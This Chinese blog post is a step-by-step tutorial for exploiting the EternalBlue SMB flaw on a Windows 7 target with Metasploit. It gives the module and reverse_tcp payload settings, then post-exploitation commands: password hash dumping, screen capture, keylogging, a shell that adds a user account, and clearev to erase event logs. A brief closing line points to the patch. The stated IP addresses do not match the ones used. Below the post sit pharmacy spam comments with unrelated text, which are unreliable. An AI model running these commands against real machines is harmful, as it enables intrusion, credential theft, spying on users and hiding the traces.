入侵445端口-永恒之蓝漏洞利用-Metasploit

永恒之蓝

 

WannaCry勒索软件中,利用了NSA泄露工具中的“永恒之蓝”漏洞

445端口就是永恒之蓝的入口

我们利用kali里面的Metapsloit工具进行渗透测试(不知道Metasploit百度一下)

测试环境如下

kali的IP:192.168.113.166

win7靶机IP:192.168.84.130

利用模块:ms17_010_eternalblue

 

1.kali打开Metasploit

1.在终端输入(输入几个字母按Tab键可以自动补全)

msfconsole

2019-11-04 08-18-41 的屏幕截图.png

2.打开模块(输入几个字母按Tab键可以自动补全)

use exploit/windows/smb/ms17_010_eternalblue

2019-11-04 08-20-00 的屏幕截图.png

3.设置输入win7靶机IP地址

set RHOSTS 192.168.9.51

2019-11-04 08-22-50 的屏幕截图.png

4.设置攻击负载模块

set payload windows/x64/meterpreter/reverse_tcp

2019-11-04 08-23-46 的屏幕截图.png

5.设置kali的IP

set LHOST 192.168.119.98

2019-11-04 08-25-07 的屏幕截图.png

6.设置监听端口

set LPORT 5555

2019-11-04 08-25-30 的屏幕截图.png

 

7.开始执行模块

exploit

2019-11-04 08-25-54 的屏幕截图.png

8.成功入侵win7靶机

2019-11-04 08-26-46 的屏幕截图.png

(1)我们可以查看他的账户密码的加密值

hashdump

2019-11-04 08-27-05 的屏幕截图.png

 

(2)我们也可以查看他目前屏幕在做什么

screenhot

2019-11-04 08-27-39 的屏幕截图.png

(3)也可以记录他的键盘

keyscan_start 

下载键盘记录

keyscan_dump 

或者上传个木马之类的,总之有很多功能来利用,具体的可以百度查查

(4)获取该计算机已经登陆的账户密码

Kerberos

(5)开启3389端口

 

(6)获取该计算机的超级管理员权限

shell

2019-11-04 08-28-50 的屏幕截图.png

然后可以执行cmd命令

添加一个帐号

net user test 123456 /add

2019-11-04 08-30-17 的屏幕截图.png

升级为管理员帐号

2019-11-04 08-33-49 的屏幕截图.png

也可以执行一些你想要的命令

exit  //退出shell
clearev    //清楚操作日志

2019-11-04 08-35-23 的屏幕截图.png

 

 

445端口永恒之蓝,是个非常危险的漏洞,如果你计算机上也有这个漏洞,不想被看光隐私的话不妨打个补丁

http://www.catalog.update.microsoft.com/search.aspx?q=kb4012212

 

--小顾

本博客所有文章如无特别注明均为原创。作者:GS小顾复制或转载请以超链接形式注明转自 世纪博客
原文地址《入侵445端口-永恒之蓝漏洞利用-Metasploit
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(17325)

I love the theatre <a href="https://www.attrezzidatoelettatura.it/viagra-online-rx-2uba">where can you buy viagra in northern ireland</a>  "These countries must know ... that they have given legal cover to Israel for any aggression against Lebanon. Why? Because Israel can then say 'We are waging war on terrorism'," Nasrallah said in a televised speech.
Edison 2个月前(08-30) 回复
I'd like to send this to  <a href="https://esm.com.au/glucophage-850-mg-r4ex">glucophage 850 mg</a>  "We've been anticipating this for quite some time and there are a number of current athletes who have expressed a desire and an interest in joining the case," said lead attorney Michael Hausfeld, who has two weeks to bring at least one of them forward.
Trent 2个月前(08-30) 回复
Where do you study? <a href="https://ulstercarpets.com/blog/dr-numb-where-to-buy-in-canada-4z55">buy dr numb canada
</a>  Prosecutors argued at a two-week trial that Cuban sold hisstake soon after learning from Mamma.com Chief Executive GuyFaure that the Montreal-based company was planning a privateplacement that would dilute his holdings in the company.
Fredric 2个月前(08-30) 回复
It's a bad line <a href="https://blackandred.es/mrsa-bactrim-ds-nv47">you're asked to order trimethoprim</a>  "It is apparent that it is extremely dangerous when thepolitics of a country whose currency is the world currency - itis still the most important currency - are driven primarily byvery narrow domestic considerations," he added.
Werner 2个月前(08-30) 回复
Have you got a telephone directory? <a href="https://www.intexom.us/nolvadex-pct-where-to-buy-8a5x">alternative tamoxifen postmenopausal</a>  "Well, yes, when you look at who's going to play, Rex and I are going to talk about that freely, and I like to it has been the case so far. And if you put in that time and effort, when you make that decision, you feel like a "we" decision, it's not one individual," the GM said. "It's not someone's going to drop the gavel and do something that's counter to what the Jets want to do. We're all pulling the same direction."
Lowell 2个月前(08-30) 回复
I'm sorry, I'm not interested <a href="https://www.rebel-gamers.net/forum/street-price-topamax-k46w">cheap topamax no prescription
</a>  â€œIt’s a good lesson learned,” said Williams, 29, who dropped the extra weight and more over the All-Star break in February. “Especially as you get older, your metabolism starts to slow down. It’s definitely harder to get that weight off. There was no weight gain this summer for me. I tried to stay at the same weight I was when I left. That’s been helpful.”
Abigail 2个月前(08-30) 回复
Incorrect PIN <a href="https://www.deltaplain.it/lipitor-testimonials-yol2">price lipitor generic</a>  Copyright © 2013 Bleacher Report, Inc. Turner Broadcasting System, Inc. All Rights Reserved.BleacherReport.com is part of Bleacher Report - Turner Sports Network, part of the Turner Sports and Entertainment Network.Certain photos copyright © 2013 by Getty Images.Any commercial use or distribution without the express written consent of Getty Images is strictly prohibited.
Elias 2个月前(08-30) 回复
Will I be paid weekly or monthly? <a href="https://www.saffrongrill.mu/pro-plus-pills-uk-tuu2">pro plus pills uk
</a>  The 6-foot-1, 230-pound linebacker was driving from South Carolina to Tennessee for Titans training camp when he saw the smoking Chevrolet SUV on the road late Tuesday afternoon. He told TigerNet.com that he got the driver’s attention by honking his horn at her and after she pulled over, he and another good Samaritan got the woman, three kids and a dog out of the car before it became completely engulfed in flames.
Sonny 2个月前(08-30) 回复
I do some voluntary work <a href="http://www.beaglepuppygazette.com/pharmacy/index.php/omeprazole-buy-uk-boots-7qhr">when to take prilosec otc</a>  The viewer is then pulled into the vortex of news from the year before in flashback, from the campaigning of presidential hopeful Mitt Romney to the rebel victory in Libya to Occupy Wall Street to SOPA. And then there is a fictional story about U.S. use of chemical weapons code-named "Genoa," based on a real 1998 story that got CNN in trouble. It will be the bete noire for "News Night" this season.
Levi 2个月前(08-30) 回复
Incorrect PIN <a href="http://drrosman.com/propecia-cheapest-price-australia-dubp">buy propecia hong kong</a>  * Investors are also watching the situation for what itcould mean for the higher-stakes battle over the government'sborrowing power, which is expected to come to a head soon. TheTreasury has said the United States will exhaust its borrowingauthority no later than Oct. 17. If no deal is reached onraising the debt ceiling, the U.S. could default on its debt.
Caden 2个月前(08-30) 回复
1 2 3 4 5 6 7 8 9 10 11 ... »